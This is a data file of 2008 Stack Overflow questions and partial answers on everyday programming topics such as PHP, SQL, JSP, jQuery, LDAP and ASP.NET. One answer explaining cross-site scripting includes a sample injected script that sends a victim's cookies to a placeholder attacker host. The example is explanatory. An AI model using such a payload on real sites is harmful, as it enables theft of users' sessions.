qid
int64
4
19.1M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
239,136
<p>Using PHP, what's the fastest way to convert a string like this: <code>"123"</code> to an integer?</p> <p>Why is that particular method the fastest? What happens if it gets unexpected input, such as <code>"hello"</code> or an array?</p>
[ { "answer_id": 239173, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 10, "selected": true, "text": "Function time to run 1 million iterations\n--------------------------------------------\n(int) \"123\": ...
2008/10/27
[ "https://Stackoverflow.com/questions/239136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9021/" ]
239,139
<p>Is there a way in <em>Xcode</em> to sort my list of files under say the Classes folder Alphabetically?</p> <p>I know I can drag them around, but with tons of files that is a pain.</p> <p>I am surprised I can not right click on the folder and say to sort.</p>
[ { "answer_id": 5529592, "author": "jedediah", "author_id": 6342, "author_profile": "https://Stackoverflow.com/users/6342", "pm_score": 2, "selected": false, "text": "ruby sort.rb <infile> <outfile>\n #!/usr/bin/env ruby\n\nstate = :primary\ngroup = []\nfile_count = group_count = 0\n\nFil...
2008/10/27
[ "https://Stackoverflow.com/questions/239139", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26728/" ]
239,147
<p>I am a complete JSP beginner. I am trying to use a <code>java.util.List</code> in a JSP page. What do I need to do to use classes other than ones in <code>java.lang</code>?</p>
[ { "answer_id": 239199, "author": "Axeman", "author_id": 11289, "author_profile": "https://Stackoverflow.com/users/11289", "pm_score": 4, "selected": false, "text": "<%@ page import=\"java.util.List\" %>\n" }, { "answer_id": 239293, "author": "Sandman", "author_id": 19911,...
2008/10/27
[ "https://Stackoverflow.com/questions/239147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2598/" ]
239,171
<p>I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: </p> <p>12345 would be displayed as 000/012/345 </p> <p>and </p> <p>9876543 would be displayed as 009/876/543</p> <p>I know how to do this in a messy way, involving a series of if/else statements, and ...
[ { "answer_id": 239176, "author": "Adam Pierce", "author_id": 5324, "author_profile": "https://Stackoverflow.com/users/5324", "pm_score": 5, "selected": true, "text": "function formatMyNumber($num)\n{\n return sprintf('%03d/%03d/%03d',\n $num / 1000000,\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/239171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,193
<p>I currently have a Visual Studio solution with 8 web applications. When I try run one of these applications, 8 instances of the Casini Web Development Servers are launched.</p> <p>Is there anyway to specify that only the web application I have set as startup project will be launched and not all 8.</p> <p>I am usin...
[ { "answer_id": 2142925, "author": "flashnik", "author_id": 217786, "author_profile": "https://Stackoverflow.com/users/217786", "pm_score": 1, "selected": false, "text": "Always start when debugging false" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15360/" ]
239,194
<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>
[ { "answer_id": 239212, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 5, "selected": false, "text": "http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata=...
2008/10/27
[ "https://Stackoverflow.com/questions/239194", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,202
<p>During execution, how can a java program tell how much memory it is using?</p> <p>I don't care how efficient it is!</p>
[ { "answer_id": 239242, "author": "mcjabberz", "author_id": 30323, "author_profile": "https://Stackoverflow.com/users/30323", "pm_score": 2, "selected": false, "text": "Runtime.getRuntime.freeMemory() Runtime.getRuntime.totalMemory() JVM's" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239202", "https://Stackoverflow.com", "https://Stackoverflow.com/users/939/" ]
239,207
<p>Do they set <code>display: none</code> or <code>visibility: hidden</code>?</p> <p>I'm pretty sure <code>display: none</code> takes the element out of the normal flow, whilst <code>visibility: hidden</code> just hides the element but still has a reserved space for it.</p> <p>Should I just go download the unpacked v...
[ { "answer_id": 239216, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 7, "selected": true, "text": "display hide()" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239207", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31671/" ]
239,226
<p>An old Direct3D book says </p> <blockquote> <p>"...you can achieve an acceptable frame rate with hardware acceleration while displaying between 2000 and 4000 polygons per frame..."</p> </blockquote> <p>What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?</p>
[ { "answer_id": 239229, "author": "David Segonds", "author_id": 13673, "author_profile": "https://Stackoverflow.com/users/13673", "pm_score": 2, "selected": false, "text": "public static Mesh Polygon(\n Device device,\n float length,\n int sides\n)\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239226", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45603/" ]
239,232
<p>In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.<br> Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript? </p> <p>Update: Fol...
[ { "answer_id": 239234, "author": "da5id", "author_id": 14979, "author_profile": "https://Stackoverflow.com/users/14979", "pm_score": 2, "selected": false, "text": "<style type=\"text/css\" media=\"print\">@import url(\"/inc/web.print.css\");</style>\n" }, { "answer_id": 239238, ...
2008/10/27
[ "https://Stackoverflow.com/questions/239232", "https://Stackoverflow.com", "https://Stackoverflow.com/users/278/" ]
239,258
<p>Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. You would like to perform the following SQL query, which is not supported:</p> <pre><code>SELECT DISTINCT user_hash FROM links </code></pre> <p>Instead you could use:</p> <pre><code>user = db.GqlQuery("SELECT user_ha...
[ { "answer_id": 239305, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 1, "selected": false, "text": "unique_results = []\nfor obj in user:\n if obj not in unique_results:\n unique_results.append(obj)\n for" ...
2008/10/27
[ "https://Stackoverflow.com/questions/239258", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26763/" ]
239,263
<p>Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?</p>
[ { "answer_id": 239524, "author": "Dan Atkinson", "author_id": 31532, "author_profile": "https://Stackoverflow.com/users/31532", "pm_score": 2, "selected": false, "text": "public ContentResult Index()\n{\n return Content(\"Foobar!\");\n}\n Response.Write(\"Foobar!\");\nResponse.End();\...
2008/10/27
[ "https://Stackoverflow.com/questions/239263", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27946/" ]
239,264
<p>Does anyone have a copy of MSIINV.EXE (The MSI Inventory tool)? The site where it used to be available is down(<a href="http://www.huydao.net/" rel="nofollow noreferrer">http://www.huydao.net/</a>). I'm trying to uninstall some components in order to force the Visual Studio Setup to reinstall them. I apologize as th...
[ { "answer_id": 52228225, "author": "Matthew Wetmore", "author_id": 7102111, "author_profile": "https://Stackoverflow.com/users/7102111", "pm_score": 3, "selected": false, "text": "msiinv.exe -p msiinv.exe -p | findstr /i <pattern> msiinv.exe -p <leading match> msiinv.exe -?\nUsage: msiin...
2008/10/27
[ "https://Stackoverflow.com/questions/239264", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3927/" ]
239,275
<p>Let's say I have the following table:</p> <pre><code>CustomerID ParentID Name ========== ======== ==== 1 null John 2 1 James 3 2 Jenna 4 3 Jennifer 5 3 Peter 6 5 Alice 7 5 Steve 8 1 Larry </...
[ { "answer_id": 239283, "author": "Jasper Bekkers", "author_id": 31486, "author_profile": "https://Stackoverflow.com/users/31486", "pm_score": 0, "selected": false, "text": "CREATE TABLE objects(\n id SERIAL PRIMARY KEY,\n name TEXT,\n lft INT,\n rgt INT\n);\n\nINSERT INTO obj...
2008/10/27
[ "https://Stackoverflow.com/questions/239275", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30729/" ]
239,278
<p>I have database with many tables. In the first table, I have a field called <code>status</code>.</p> <pre><code>table 1 idno name status 111 hjghf yes 225 hjgjj no 345 hgj yes </code></pre> <p>Other tables could have same <code>idno</code> with different fields.</p> <p>I want to check the s...
[ { "answer_id": 241191, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": -1, "selected": true, "text": "Sub UpdateNulls()\nDim strSQL As String\nDim rs As DAO.Recordset\nFor Each tdf In CurrentDb.TableDefs\n If Left(tdf.Nam...
2008/10/27
[ "https://Stackoverflow.com/questions/239278", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31132/" ]
239,301
<p>Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to <em>assert_in_delta(expected_float, actual_float, delta)</em> from <em>test/unit</em> but returning Boolean?</p>
[ { "answer_id": 239314, "author": "ysth", "author_id": 17389, "author_profile": "https://Stackoverflow.com/users/17389", "pm_score": 6, "selected": true, "text": "(expected_float - actual_float).abs <= delta\n" }, { "answer_id": 31553495, "author": "cvkline", "author_id": ...
2008/10/27
[ "https://Stackoverflow.com/questions/239301", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31726/" ]
239,302
<p>I usually never see test for new in C++ and I was wondering why.</p> <p><code>Foo *f = new Foo;</code></p> <p><code>// f is assumed as allocated, why usually, nobody test the return of new?</code></p>
[ { "answer_id": 239307, "author": "David Holm", "author_id": 22247, "author_profile": "https://Stackoverflow.com/users/22247", "pm_score": 7, "selected": true, "text": "Foo* foo = new (std::nothrow) Foo;\n" }, { "answer_id": 239597, "author": "n-alexander", "author_id": 23...
2008/10/27
[ "https://Stackoverflow.com/questions/239302", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,306
<p>I have a Request object which contains a list of Approvers. An approver has a name and an approval position.</p> <ol> <li>Mathew </li> <li>Mark </li> <li>Luke </li> <li>John</li> </ol> <p>Ultimately, a request will move through this chain, starting at Mathew and ended at John.</p> <p>I need to be able to re-order...
[ { "answer_id": 239313, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "List<T> Add() Insert() Remove() Remove() Insert() using System;\nusing System.Collections.ObjectModel;\nusing System....
2008/10/27
[ "https://Stackoverflow.com/questions/239306", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,340
<p>Does anybody know a way to recursively remove all files in a working copy that are not under version control? (I need this to get more reliable results in my automatic build VMware.)</p>
[ { "answer_id": 239351, "author": "Thomas Watnedal", "author_id": 4059, "author_profile": "https://Stackoverflow.com/users/4059", "pm_score": 6, "selected": true, "text": "svn cleanup --remove-unversioned\n import os\nimport re\n\ndef removeall(path):\n if not os.path.isdir(path):\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/239340", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6358/" ]
239,344
<p>I want your suggestion on the following pseudo-code. Please suggest how could I improve it, whether or not I could use some design patterns.</p> <pre><code> // i'm receiving a string containing : id operation arguments data = read(socket); tokens = tokenize(data," "); // tokenize the string based on spaces if(t...
[ { "answer_id": 239348, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 5, "selected": true, "text": "StrategyFactory.GetStrategy(tokens[0]).parse(tokens[1..n])" }, { "answer_id": 239360, "author": "Cheery", "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/239344", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31610/" ]
239,385
<p>I know that LDAP is used to provide some information and to help facilitate authorization. </p> <p>But what are the other usages of LDAP? </p>
[ { "answer_id": 30617350, "author": "Nitin Pawar", "author_id": 4915436, "author_profile": "https://Stackoverflow.com/users/4915436", "pm_score": 5, "selected": false, "text": "cn mail cn Babs Jensen babs@example.com jpegPhoto" }, { "answer_id": 73725266, "author": "Yilmaz", ...
2008/10/27
[ "https://Stackoverflow.com/questions/239385", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,408
<p>I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer. However, the designer can't edit the subclass unless it can create an instance of the parent class. So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I ma...
[ { "answer_id": 239423, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 4, "selected": true, "text": "#if DEBUG RELEASE NotImplementedException [Test]\npublic void TestFoo() {\n ActualTest<Foo>();\n}\n[Test]\npublic voi...
2008/10/27
[ "https://Stackoverflow.com/questions/239408", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15371/" ]
239,414
<p>How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?</p> <p>It should be simple but I cannot get it to work. Examples would be much appreciated.</p>
[ { "answer_id": 239426, "author": "robsoft", "author_id": 3897, "author_profile": "https://Stackoverflow.com/users/3897", "pm_score": 3, "selected": false, "text": "update MyTable set MyColumn=getdate();\n insert into MyTable (MyColumn) values (getdate());\n" }, { "answer_id": 239...
2008/10/27
[ "https://Stackoverflow.com/questions/239414", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,424
<p>How does the event creation and handling work in Java Swing?</p>
[ { "answer_id": 239444, "author": "Midhat", "author_id": 9425, "author_profile": "https://Stackoverflow.com/users/9425", "pm_score": 3, "selected": false, "text": "IMessageListener listener;\n public void setListener(IMessageListener listener) {\n this.listener = listener;\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9095/" ]
239,425
<p>I have a WinForms C# application using a MS SQL Server Express database. The application is deployed on the PCs of our customers and they don't have computer related knowledge. </p> <p>The application updates the database regularly and I see a lot of fragmentation on the index files. How do I keep the database heal...
[ { "answer_id": 1889097, "author": "Bas Jansen", "author_id": 1997188, "author_profile": "https://Stackoverflow.com/users/1997188", "pm_score": 1, "selected": true, "text": "SELECT \n st.object_id AS objectid,\n st.index_id AS indexid,\n partition_number AS partitionnum,\n avg...
2008/10/27
[ "https://Stackoverflow.com/questions/239425", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1997188/" ]
239,435
<p>I'm kinda stuck with this one so I hoped someone could help me.</p> <p>I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object). </p> <p>I just can't see how to do this rather than give a reference into the ...
[ { "answer_id": 239449, "author": "Matt Hamilton", "author_id": 615, "author_profile": "https://Stackoverflow.com/users/615", "pm_score": 5, "selected": true, "text": "public class MyDialog : Form\n{\n // todo: think of a better method name :)\n public static MyObject ShowAndReturnO...
2008/10/27
[ "https://Stackoverflow.com/questions/239435", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21699/" ]
239,443
<p>I have these two <code>CREATE TABLE</code> statements: </p> <pre><code>CREATE TABLE GUEST ( id int(15) not null auto_increment PRIMARY KEY, GuestName char(25) not null ); CREATE TABLE PAYMENT ( id int(15) not null auto_increment Foreign Key(id) references GUEST(id), BillNr int(15) not null ); </code></pr...
[ { "answer_id": 239620, "author": "Hapkido", "author_id": 27646, "author_profile": "https://Stackoverflow.com/users/27646", "pm_score": 3, "selected": false, "text": "CREATE TABLE GUEST(\n id int(15) not null auto_increment PRIMARY KEY, \n GuestName char(25) not null\n) ENGINE=INNO...
2008/10/27
[ "https://Stackoverflow.com/questions/239443", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17451/" ]
239,450
<p>I want to compare two ms-access .mdb files to check that the data they contain is same in both.</p> <p>How can I do this?</p>
[ { "answer_id": 239484, "author": "rwired", "author_id": 17492, "author_profile": "https://Stackoverflow.com/users/17492", "pm_score": -1, "selected": false, "text": "fc file1.mdb file2.mdb \n" }, { "answer_id": 241429, "author": "David-W-Fenton", "author_id": 9787, "a...
2008/10/27
[ "https://Stackoverflow.com/questions/239450", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6613/" ]
239,463
<p>I have an application that behaves oddly, and just to verify, I'd like to see which security zone it is currently running under.</p> <p>I've found the System.Security.SecurityZone enum, but can't seem to find anything that will return which of these I'm running under.</p> <p>Does anyone have any tips?</p> <p>Basi...
[ { "answer_id": 13532405, "author": "thejaeck.net", "author_id": 1427893, "author_profile": "https://Stackoverflow.com/users/1427893", "pm_score": -1, "selected": false, "text": "Evidence e = Thread.CurrentThread.GetType().Assembly.Evidence;\n this.GetType().Assembly.Evidence\n" }, { ...
2008/10/27
[ "https://Stackoverflow.com/questions/239463", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
239,465
<p>I have a setup project for a .NET Service Application which uses a .NET component which exposes a COM interface (COM callable wrapper / CCW). To get the component working on a target machine, it has to be registered with</p> <blockquote> <p>regasm.exe /tlb /codebase component.dll</p> </blockquote> <p>The /tlb switch...
[ { "answer_id": 1883517, "author": "Sean Gough", "author_id": 12842, "author_profile": "https://Stackoverflow.com/users/12842", "pm_score": 5, "selected": true, "text": "[System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Demand)]\npublic override vo...
2008/10/27
[ "https://Stackoverflow.com/questions/239465", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25727/" ]
239,486
<p>I want to convert an XML document containing many elements within a node (around 150) into another XML document with a slightly different schema but mostly with the same element names. Now do I have to manually map each element/node between the 2 documents. For that I will have to hardcode 150 lines of mapping and e...
[ { "answer_id": 239997, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 1, "selected": false, "text": "List<string> elementNames = GetElementNames();\n\nnewOrder.Add(\n elementNames\n .Select(name => GetElement(name, oldOrder...
2008/10/27
[ "https://Stackoverflow.com/questions/239486", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,512
<p>Is http/1.0 able to handle deflated and gzip content? I've finished to implement deflate and gzip in my minimalist web server and I don't really know if browsers with http/1.0 are capable to handle deflate and gzip compressed content.</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate deflate DeflateStream" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239512", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,522
<p>Is it possible to set the position of the tabs to be at the bottom of the tabcontainer using the AjaxToolkit? You do have some control over the CSS but I'm not au-fait enough with CSS to see whether it's feasible?</p> <p>Thanks</p>
[ { "answer_id": 240104, "author": "Mike Dimmick", "author_id": 6970, "author_profile": "https://Stackoverflow.com/users/6970", "pm_score": 2, "selected": false, "text": "deflate deflate DeflateStream" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239522", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21299/" ]
239,526
<p>How do I truncate output in BASH? </p> <p>For example, if I "du file.name" how do I just get the numeric value and nothing more?</p> <p>later addition:<br> all solutions work perfectly. I chose to accept the most enlightning "cut" answer because I prefer the simplest approach in bash files others are supposed to b...
[ { "answer_id": 239530, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": false, "text": "du | cut -f 1\n" }, { "answer_id": 239532, "author": "Ken", "author_id": 20074, "author_profile": "htt...
2008/10/27
[ "https://Stackoverflow.com/questions/239526", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11813/" ]
239,537
<p>My Program overrides <code>public void paint(Graphics g, int x, int y);</code> in order to draw some stings using <code>g.drawString(someString, x+10, y+30);</code></p> <p>Now someString can be quite long and thus, it may not fit on one line.<br></p> <p>What is the best way to write the text on multiple line.<br> ...
[ { "answer_id": 239539, "author": "Epaga", "author_id": 6583, "author_profile": "https://Stackoverflow.com/users/6583", "pm_score": 2, "selected": false, "text": " Graphics2D g = ...;\n Point2D loc = ...;\n Font font = Font.getFont(\"Helvetica-bold-italic\");\n FontRenderContext f...
2008/10/27
[ "https://Stackoverflow.com/questions/239537", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12860/" ]
239,543
<p>I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using <a href="http://www.visualsvn.com/server/" rel="noreferrer">VisualSVN Server</a>. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?</...
[ { "answer_id": 4073743, "author": "Randall Flagg", "author_id": 463464, "author_profile": "https://Stackoverflow.com/users/463464", "pm_score": 1, "selected": false, "text": "sc create svnserver binpath= \"C:\\Program Files\\TortoiseSVN\\bin\\svnserve.exe --service -r D:\\SvnRepositories...
2008/10/27
[ "https://Stackoverflow.com/questions/239543", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3853/" ]
239,545
<p>I have a table that has a <code>processed_timestamp</code> column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.</p> <p>I want to write a query that returns two rows:</p> <pre><code>NULL xx -- count of records with null timestamps NOT NULL ...
[ { "answer_id": 239548, "author": "Stefan Gehrig", "author_id": 11354, "author_profile": "https://Stackoverflow.com/users/11354", "pm_score": 6, "selected": false, "text": "SELECT \n IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield, \n COUNT(*) \nFROM mytable \nGROUP B...
2008/10/27
[ "https://Stackoverflow.com/questions/239545", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6408/" ]
239,546
<pre><code>$sql = "INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption','$b')"; $sql1 = "INSERT INTO users (name, email, phone) VALUES ('$peoplename','$email','$phone')" $conn-&gt;execute($sql, $sql1); </code></pre> <p>Above is the code Ι am using to try and w...
[ { "answer_id": 239563, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 3, "selected": false, "text": "$sql = \"INSERT INTO images (path, useremail, approved, flagged,caption,date) VALUES ('$target','$email',0,0, '$caption'...
2008/10/27
[ "https://Stackoverflow.com/questions/239546", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,556
<p>We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.</p> <p>Unfortunately the whole app was written without taking into consideration proper layering, abstraction or i...
[ { "answer_id": 239559, "author": "Ben Collins", "author_id": 3279, "author_profile": "https://Stackoverflow.com/users/3279", "pm_score": 1, "selected": false, "text": "throw new Exception(\"test\");\n C:\\Users\\Dude> myapp.exe /x\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239556", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7140/" ]
239,560
<p>Actually <a href="https://stackoverflow.com/questions/564/what-is-the-difference-between-an-int-and-an-integer-in-javac">here</a> is a similar topic with little practical value. As far as I understand, primitives perform better and should be used everywhere except for the cases where Object-related features (e.g. <c...
[ { "answer_id": 239706, "author": "jb.", "author_id": 7918, "author_profile": "https://Stackoverflow.com/users/7918", "pm_score": 1, "selected": false, "text": " class Foo{\n int xxx = -1;\n ...\n }\n void persist(Foo foo){\n ...\n statement.setInt(15,foo.getXXX()==-1?null:foo...
2008/10/27
[ "https://Stackoverflow.com/questions/239560", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15187/" ]
239,567
<p>Is there any function that converts an escaped Url string to its unescaped form? <code>System.Web.HttpUtility.UrlDecode()</code> can do that job but I don't want to add a reference to <code>System.Web.dll</code>. Since my app is not a web application, I don't want to add a dependency for only using a function in an ...
[ { "answer_id": 239695, "author": "Igal Tabachnik", "author_id": 8205, "author_profile": "https://Stackoverflow.com/users/8205", "pm_score": 7, "selected": true, "text": "Uri.UnescapeDataString() http%3a%2f%2fwww.google.com%2fsearch%3fhl%3den%26q%3dsomething%20%2323%26btnG%3dGoogle%2bSear...
2008/10/27
[ "https://Stackoverflow.com/questions/239567", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39/" ]
239,588
<p>I have a C++ STL set with a custom ordering defined.</p> <p>The idea was that when items get added to the set, they're naturally ordered as I want them.</p> <p>However, what I've just realised is that the ordering predicate can change as time goes by.</p> <p>Presumably, the items in the set will then no longer be...
[ { "answer_id": 239621, "author": "Motti", "author_id": 3848, "author_profile": "https://Stackoverflow.com/users/3848", "pm_score": 1, "selected": false, "text": "set" }, { "answer_id": 239627, "author": "xtofl", "author_id": 6610, "author_profile": "https://Stackoverf...
2008/10/27
[ "https://Stackoverflow.com/questions/239588", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31760/" ]
239,601
<p>How would you model booked hotel room to guests relationship (in PostgreSQL, if it matters)? A room can have several guests, but at least one.</p> <p>Sure, one can relate guests to bookings with a foreign key <code>booking_id</code>. But how do you enforce on the DBMS level that a room must have at least one guest?...
[ { "answer_id": 239618, "author": "Ed Guiness", "author_id": 4200, "author_profile": "https://Stackoverflow.com/users/4200", "pm_score": 2, "selected": false, "text": "BOOKING\n-------\nbooking id\nroom id\nguest id (FK to table of guests for booking)\nfirst date of occupancy\nlast date o...
2008/10/27
[ "https://Stackoverflow.com/questions/239601", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6430/" ]
239,622
<p>We have an x-files problem with our .NET application. Or, rather, hybrid Win32 and .NET application.</p> <p>When it attempts to communicate with Oracle, it just dies. Vanishes. Goes to the big black void in the sky. No event log message, no exception, no nothing.</p> <p>If we simply ask the application to talk to...
[ { "answer_id": 239659, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 3, "selected": true, "text": "FILE_NOT_FOUND" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239622", "https://Stackoverflow.com", "https://Stackoverflow.com/users/267/" ]
239,628
<p>HI,</p> <p>I am trying to write a query in vba and to save its result in a report. I am a beginner. this is what i have tried can somebody correct me</p> <pre><code>Dim cn As New ADODB.Connection, rs As New ADODB.Recordset Dim sql As String Set cn = CurrentProject.Connection sql = "Select * from table1 where emp...
[ { "answer_id": 240103, "author": "BIBD", "author_id": 685, "author_profile": "https://Stackoverflow.com/users/685", "pm_score": 1, "selected": false, "text": "'...\ndim strFoo as string\ndim strBar as string\n'...\nif not rs.bof then\n rd.MoveFirst\nend if\nWhile Not rs.EOF\n strFoo...
2008/10/27
[ "https://Stackoverflow.com/questions/239628", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,643
<p>All I need is a way to make a property of one class only 'settable' from one other class (a sort of manager class).</p> <p>Is this even possible in c#?</p> <p>My colleague 'reliably' informs me that I have a design flaw, but I feel I should at least ask the community before I concede defeat!</p>
[ { "answer_id": 239653, "author": "milot", "author_id": 22637, "author_profile": "https://Stackoverflow.com/users/22637", "pm_score": 1, "selected": false, "text": "public string Name\n{\n get{ return _name; }\n protected set { _name = value; }\n}\n" }, { "answer_id": 239658...
2008/10/27
[ "https://Stackoverflow.com/questions/239643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17540/" ]
239,645
<p>I have an abstract Class <strong>Monitor.java</strong> which is subclassed by a Class <strong>EmailMonitor.java</strong>. </p> <p>The method:</p> <pre><code>public abstract List&lt;? extends MonitorAccount&gt; performMonitor(List&lt;? extends MonitorAccount&gt; accounts) </code></pre> <p>is defined in <strong>Mon...
[ { "answer_id": 239663, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 6, "selected": true, "text": "Monitor x = new EmailMonitor();\nList<NonEmailAccount> nonEmailAccounts = ...;\nx.performMonitor(nonEmailAccounts);\n Mon...
2008/10/27
[ "https://Stackoverflow.com/questions/239645", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31749/" ]
239,669
<p>I'm occasionaly getting the following popup from an AJAX.NET application</p> <pre>Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031</pre> <p>From the <a href="http://support.microsoft.com/kb...
[ { "answer_id": 6535792, "author": "Sergii.PSP", "author_id": 802837, "author_profile": "https://Stackoverflow.com/users/802837", "pm_score": 1, "selected": false, "text": "<sessionState mode=\"InProc\" cookieless=\"true\" timeout=\"720\"/>;\n" }, { "answer_id": 9526511, "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/239669", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12772/" ]
239,682
<p>When reading the registry for file names I get 3 entries loading into my combo box for every 1 registry entry. If I have 1 file listed in the registry I would see :</p> <p>Combo box values:</p> <p>c:\file1.txt</p> <p>&lt;-----Blank here</p> <p>c:\file1.txt</p> <p>I have found the problem lies in this code, it h...
[ { "answer_id": 239694, "author": "blowdart", "author_id": 2525, "author_profile": "https://Stackoverflow.com/users/2525", "pm_score": 0, "selected": false, "text": "Object previousFiles = OurKey.GetValue(\"Files\" + i) as string;\n string.IsNullOrEmpty()\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239682", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,687
<p>Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...? I don't need to write to it, just grab a couple of values from it.</p>
[ { "answer_id": 239698, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "ConfigurationManager OpenExeConfiguration(path)" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239687", "https://Stackoverflow.com", "https://Stackoverflow.com/users/983/" ]
239,722
<p>I want to perform some transformations on C source code. <strong>I need a tool on linux that generates a complete AST from the source code</strong> so that I can apply my transformations on this AST and then convert it back to the C source code. I tried <a href="http://www.cs.berkeley.edu/~smcpeak/elkhound/sources/e...
